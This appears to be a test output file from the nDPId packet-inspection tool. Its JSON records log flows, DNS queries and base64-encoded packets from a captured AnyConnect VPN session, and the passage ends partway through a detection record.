+00585{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":218,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687261,"pkt_ts_usec":438389,"pkt_caplen":176,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":176,"pkt_l4_len":142,"pkt":"NDY7z3UopHczjPFACABFAgCiFAVAAEAGENgKAACVCgAA4x9J3ABq5WtxuFSmYoAYARVPTQAAAQEICgAh3RwcDbjJFwMDAGk+N0ALJRzLafZuvouf5uUs5D\/U0tzAEaeM6atOPCHqQy7mpl9mt8bavf1mAJLusCbLzj5NJ+78e5L239EIVOnh5iS5h\/9VQOkeND9rF9xLGZBWJl3sT7DKnf23IQJYNAQU58BplPorNjw="} +00433{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":219,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687261,"pkt_ts_usec":438465,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"pHczjPFANDY7z3UoCABFAAA0AABAAEAGJU0KAADjCgAAldwAH0m4VKZiauVr34AQD\/xubQAAAQEIChwNuMsAId0c"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":223,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1569687261485,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":59222,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687261,"pkt_ts_usec":485620,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"LH6BsEqhNDY7z3UoCABFAABPCDAAAP8REfUKAADjS0tLS+dWADUAO8LFIuMBAAABAAAAAAAADUxQLVJLRVJVUi1PU1gEaHNkMQJjYQdjb21jYXN0A25ldAAAAQAB"} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":223,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1569687261485,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":59222,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"lp-rkerur-osx.hsd1.ca.comcast.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":224,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1569687261486,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":57017,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687261,"pkt_ts_usec":486499,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"LH6BsEqhNDY7z3UoCABFAABPXz4AAP8RuuYKAADjS0tLS965ADUAO3SWXq8BAAABAAAAAAAADUxQLVJLRVJVUi1PU1gEaHNkMQJjYQdjb21jYXN0A25ldAAAHAAB"} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":224,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1569687261486,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":57017,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"lp-rkerur-osx.hsd1.ca.comcast.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00543{"flow_id":38,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":225,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687261,"pkt_ts_usec":501464,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"NDY7z3UoLH6BsEqhCABFAACDAABAADoRnvFLS0tLCgAA4wA151YAb4gYIuOBgwABAAAAAQAADUxQLVJLRVJVUi1PU1gEaHNkMQJjYQdjb21jYXN0A25ldAAAAQABwBoABgABAAAcIAAoBmRuczEwMcAiCGRuc2FkbWluwCIBawJtAAAcIAAADhAACTqAAAAcIA=="} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":225,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":2,"flow_first_seen":1569687261485,"flow_last_seen":1569687261501,"flow_tot_l4_data_len":170,"flow_min_l4_data_len":59,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":85,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":59222,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"lp-rkerur-osx.hsd1.ca.comcast.net","num_queries":1,"num_answers":1,"reply_code":3,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00543{"flow_id":39,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":226,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687261,"pkt_ts_usec":506389,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"NDY7z3UoLH6BsEqhCABFAACDAABAADoRnvFLS0tLCgAA4wA13rkAbznpXq+BgwABAAAAAQAADUxQLVJLRVJVUi1PU1gEaHNkMQJjYQdjb21jYXN0A25ldAAAHAABwBoABgABAAAcIAAoBmRuczEwMcAiCGRuc2FkbWluwCIBawJtAAAcIAAADhAACTqAAAAcIA=="} +00680{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":226,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":2,"flow_first_seen":1569687261486,"flow_last_seen":1569687261506,"flow_tot_l4_data_len":170,"flow_min_l4_data_len":59,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":85,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":57017,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"lp-rkerur-osx.hsd1.ca.comcast.net","num_queries":1,"num_answers":1,"reply_code":3,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00522{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":245,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687262,"pkt_ts_usec":136971,"pkt_caplen":132,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":132,"pkt_l4_len":98,"pkt":"AQBeAAD7GIEORo7ICABFAAB2VcMAAP8ReeMKAADV4AAA+xTpFOkAYmE7AAAAAAAEAAAAAAABBV9yYW9wBF90Y3AFbG9jYWwAAAwAAcAMAAwAAQhfYWlycGxhecASAAwAAcAoAAwAAQAAKQWgAAARlAASAAQADgCbOoEORo7IGIEORo7I"} +00554{"flow_id":19,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":246,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687262,"pkt_ts_usec":137295,"pkt_caplen":152,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":152,"pkt_l4_len":98,"pkt":"MzMAAAD7GIEORo7Iht1gBoi5AGIR\/\/6AAAAAAAAABAg+RTq8FVL\/AgAAAAAAAAAAAAAAAAD7FOkU6QBivDEAAAAAAAQAAAAAAAEFX3Jhb3AEX3RjcAVsb2NhbAAADAABwAwADAABCF9haXJwbGF5wBIADAABwCgADAABAAApBaAAABGUABIABAAOAJs6gQ5GjsgYgQ5Gjsg="} +00585{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687262,"pkt_ts_usec":751378,"pkt_caplen":174,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":174,"pkt_l4_len":120,"pkt":"MzMAAAABLH6BsEqhht1gAAAAAHg6\/\/6AAAAAAAAALn6B\/\/6wSqH\/AgAAAAAAAAAAAAAAAAABhgBH5kDAALQAAAAAAAAAABkFAAAAAVGAIAEFWP7tAAAAAAAAAAAAASABBVj+7QAAAAAAAAAAAAIDBEDAAAL9HQAC\/R0AAAAAJgEGRoQCRLAAAAAAAAAAABgDAAAAAAC0AAAAAAAAAAAAAAAAAAAAAAEBLH6BsEqh"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":256,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1569687262866,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"162.222.43.153","src_port":56881,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687262,"pkt_ts_usec":866211,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"LH6BsEqhNDY7z3UoCABFAABEAABAAEAGYVoKAADjot4rmd4xAbu3QBvT9S8yS4AYEAD8CwAAAQEIChwNvkTkAuRNDi2ISqeLxJuBXTMcrWivnw=="} +00741{"flow_id":40,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":257,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687262,"pkt_ts_usec":866958,"pkt_caplen":292,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":292,"pkt_l4_len":258,"pkt":"LH6BsEqhNDY7z3UoCABFAAEWAABAAEAGYIgKAADjot4rmd4xAbu3QBvj9S8yS4AYEACf4gAAAQEIChwNvkTkAuRNC2FzYPnyOhEIxzv9HgAAAQAAAAAABf0HAAAAAAAAAFYAAAAAABO4pgAAAfJ1AAAAGzdZOcQAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAAEjynVwAAAAAACz6PAAAAAABmQ+JAyo3EgU6LQwAAAAAAAAAAAAAACK7duMsBAQAAAAELYXNg+fI6EQjHO\/0eAAABAAAAAAAF\/QcAAAAAAAAAVgAAAAAAE7imAAAB8nUAAAAbN1k5xAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAAAASPKdXAAAAAAALPo8AAAAAAAAAAQ=="} +00456{"flow_id":40,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":258,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687262,"pkt_ts_usec":866959,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"LH6BsEqhNDY7z3UoCABFAABEAABAAEAGYVoKAADjot4rmd4xAbu3QBzF9S8yS4AYEABLrAAAAQEIChwNvkTkAuRNchVP5mraMf5Tgny7zRbHZQ=="} +00514{"flow_id":40,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":259,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687262,"pkt_ts_usec":866960,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"LH6BsEqhNDY7z3UoCABFAABwAABAAEAGYS4KAADjot4rmd4xAbu3QBzV9S8yS4AYEABPBwAAAQEIChwNvkTkAuRNLTIzODY1fGNvbS5jb2RlNDIuYmFja3VwLm1lc3NhZ2UuYmFja3VwLkJhY2t1cFN0b3BwZWRNZXNzYWdl"} +00456{"flow_id":40,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":260,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687262,"pkt_ts_usec":866960,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"LH6BsEqhNDY7z3UoCABFAABEAABAAEAGYVoKAADjot4rmd4xAbu3QB0R9S8yS4AYEADIjwAAAQEIChwNvkTkAuRNRQ1ifkkVkNnk0YE1teSo+A=="} +00477{"flow_id":40,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":261,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687262,"pkt_ts_usec":866961,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"LH6BsEqhNDY7z3UoCABFAABUAABAAEAGYUoKAADjot4rmd4xAbu3QB0h9S8yS4AYEAAhRwAAAQEIChwNvkTkAuRNHuF\/Al5FNwM4471Fk+MWxK07D9Qza39tA746URV9VhY="} +00432{"flow_id":40,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":264,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687262,"pkt_ts_usec":907841,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0nEBAADYGzymi3iuZCgAA4wG73jH1LzJLt0Ab44AQAVQHkQAAAQEICuQC+50cDb5E"} +00432{"flow_id":40,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":265,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687262,"pkt_ts_usec":907846,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0nEFAADYGzyii3iuZCgAA4wG73jH1LzJLt0AcxYAQAVoGqQAAAQEICuQC+50cDb5E"} +00432{"flow_id":40,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":266,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687262,"pkt_ts_usec":908823,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0nEJAADYGzyei3iuZCgAA4wG73jH1LzJLt0Ac1YAQAVoGmQAAAQEICuQC+50cDb5E"} +00433{"flow_id":40,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":267,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687262,"pkt_ts_usec":909886,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0nENAADYGzyai3iuZCgAA4wG73jH1LzJLt0AdEYAQAVoGXQAAAQEICuQC+50cDb5E"} +00433{"flow_id":40,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":268,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687262,"pkt_ts_usec":909890,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0nERAADYGzyWi3iuZCgAA4wG73jH1LzJLt0AdIYAQAVoGTQAAAQEICuQC+50cDb5E"} +00433{"flow_id":40,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":269,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687262,"pkt_ts_usec":912219,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0nEVAADYGzySi3iuZCgAA4wG73jH1LzJLt0AdQYAQAVoGLAAAAQEICuQC+54cDb5E"} +00595{"flow_id":18,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":270,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687263,"pkt_ts_usec":365639,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"AQBeAAD7GIEORo7ICABFAACsdwMAAP8RWG0KAADV4AAA+xTpFOkAmDfPAAAAAAADAAEAAAABD19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMAAEIX2hvbWVraXTAHAAMAAEMX3NsZWVwLXByb3h5BF91ZHDAIQAMAAHADAAMAAEAAA4NABQRTFAtUktFUlVSLU9TWCAoOSnADAAAKQWgAAARlAASAAQADgCbOoEORo7IGIEORo7I"} +00627{"flow_id":19,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":271,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687263,"pkt_ts_usec":366249,"pkt_caplen":206,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":206,"pkt_l4_len":152,"pkt":"MzMAAAD7GIEORo7Iht1gBoi5AJgR\/\/6AAAAAAAAABAg+RTq8FVL\/AgAAAAAAAAAAAAAAAAD7FOkU6QCYksUAAAAAAAMAAQAAAAEPX2NvbXBhbmlvbi1saW5rBF90Y3AFbG9jYWwAAAwAAQhfaG9tZWtpdMAcAAwAAQxfc2xlZXAtcHJveHkEX3VkcMAhAAwAAcAMAAwAAQAADg0AFBFMUC1SS0VSVVItT1NYICg5KcAMAAApBaAAABGUABIABAAOAJs6gQ5GjsgYgQ5Gjsg="} +00523{"flow_id":18,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":272,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687265,"pkt_ts_usec":208977,"pkt_caplen":132,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":132,"pkt_l4_len":98,"pkt":"AQBeAAD7GIEORo7ICABFAAB2\/EIAAP8R02MKAADV4AAA+xTpFOkAYmE7AAAAAAAEAAAAAAABBV9yYW9wBF90Y3AFbG9jYWwAAAwAAcAMAAwAAQhfYWlycGxhecASAAwAAcAoAAwAAQAAKQWgAAARlAASAAQADgCbOoEORo7IGIEORo7I"} +00554{"flow_id":19,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687265,"pkt_ts_usec":209297,"pkt_caplen":152,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":152,"pkt_l4_len":98,"pkt":"MzMAAAD7GIEORo7Iht1gBoi5AGIR\/\/6AAAAAAAAABAg+RTq8FVL\/AgAAAAAAAAAAAAAAAAD7FOkU6QBivDEAAAAAAAQAAAAAAAEFX3Jhb3AEX3RjcAVsb2NhbAAADAABwAwADAABCF9haXJwbGF5wBIADAABwCgADAABAAApBaAAABGUABIABAAOAJs6gQ5GjsgYgQ5Gjsg="} +00524{"flow_id":13,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687265,"pkt_ts_usec":582646,"pkt_caplen":131,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":131,"pkt_l4_len":97,"pkt":"LH6BsEqhNDY7z3UoCABFAAB1AABAAEAGB84KAADjNCXzrd5TAbsf\/fCdcO3WY4AYEADz9AAAAQEIChwNyNQAjZD9FwMDADwAAAAAAAAAB0DKjLoi0YJPNBD6fKWPxXLjfwudlEvIp0PM4dw9EFvpHBBpN2KOzc9FM29HIr9B+UxWLR0="} +00526{"flow_id":14,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":275,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687265,"pkt_ts_usec":583500,"pkt_caplen":131,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":131,"pkt_l4_len":97,"pkt":"LH6BsEqhNDY7z3UoCABFAAB1AABAAEAGB84KAADjNCXzrd5SAbt7aDO1a\/Iu+oAYEACJLAAAAQEIChwNyNQCYGuQFwMDADwAAAAAAAAABjEPCyt4xTfnoXPR1XL1HU4hhWTdOMs+FxaQdOH\/20SQDX\/7cDb3x2KSZCxXlbYCPWUwJBE="} +00434{"flow_id":13,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":278,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687265,"pkt_ts_usec":656518,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0y8ZAACsGUUg0JfOtCgAA4wG73lNw7dZjH\/3w3oAQAAmN4QAAAQEICgCNmHIcDcjU"} +00433{"flow_id":14,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687265,"pkt_ts_usec":657346,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0VOJAACoGySw0JfOtCgAA4wG73lJr8i76e2gz9oAQAAm+YQAAAQEICgJgdAIcDcjU"} +00585{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687265,"pkt_ts_usec":823334,"pkt_caplen":174,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":174,"pkt_l4_len":120,"pkt":"MzMAAAABLH6BsEqhht1gAAAAAHg6\/\/6AAAAAAAAALn6B\/\/6wSqH\/AgAAAAAAAAAAAAAAAAABhgBH5kDAALQAAAAAAAAAABkFAAAAAVGAIAEFWP7tAAAAAAAAAAAAASABBVj+7QAAAAAAAAAAAAIDBEDAAAL9HQAC\/R0AAAAAJgEGRoQCRLAAAAAAAAAAABgDAAAAAAC0AAAAAAAAAAAAAAAAAAAAAAEBLH6BsEqh"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":298,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1569687267035,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"8.37.102.91","src_port":56929,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":298,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":35097,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"LH6BsEqhNDY7z3UoCABFAABAAABAAEAGwVUKAADjCCVmW95hAbsGNnxMAAAAALAC\/\/9wfAAAAgQFtAEDAwUBAQgKHA3OcQAAAAAEAgAA"} +00440{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":299,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":77459,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"NDY7z3UoLH6BsEqhCABFAAA47VEAAPcGXQsIJWZbCgAA4wG73mHOEwD1BjZ8TZASgABbLAAAAgQFtAEBCAo\/+a5OHA3OcQ=="} +00435{"flow_id":41,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":300,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":77535,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGwWEKAADjCCVmW95hAbsGNnxNzhMA9oAQ\/\/\/yvgAAAQEIChwNzpw\/+a5O"} +00643{"flow_id":41,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":301,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":79534,"pkt_caplen":218,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":218,"pkt_l4_len":184,"pkt":"LH6BsEqhNDY7z3UoCABFAADMAABAAEAGwMkKAADjCCVmW95hAbsGNnxNzhMA9oAY\/\/8upgAAAQEIChwNzp0\/+a5OFgMBAJMBAACPAwPfZ7WFHXaroFdgiVVapTjr1SY5uqwiS6qMuNeoYJyORwAALMAwwCzAKMAkAJ8AawA5AJ0APQA1wC\/AK8AnwCMAngBnADMAnAA8AC8ACgD\/AQAAOgALAAQDAAECAAoACgAIABkAGAAXABMADQAgAB4GAQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgM="} +00773{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":301,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":4,"flow_first_seen":1569687267035,"flow_last_seen":1569687267079,"flow_tot_l4_data_len":296,"flow_min_l4_data_len":32,"flow_max_l4_data_len":184,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"8.37.102.91","src_port":56929,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": 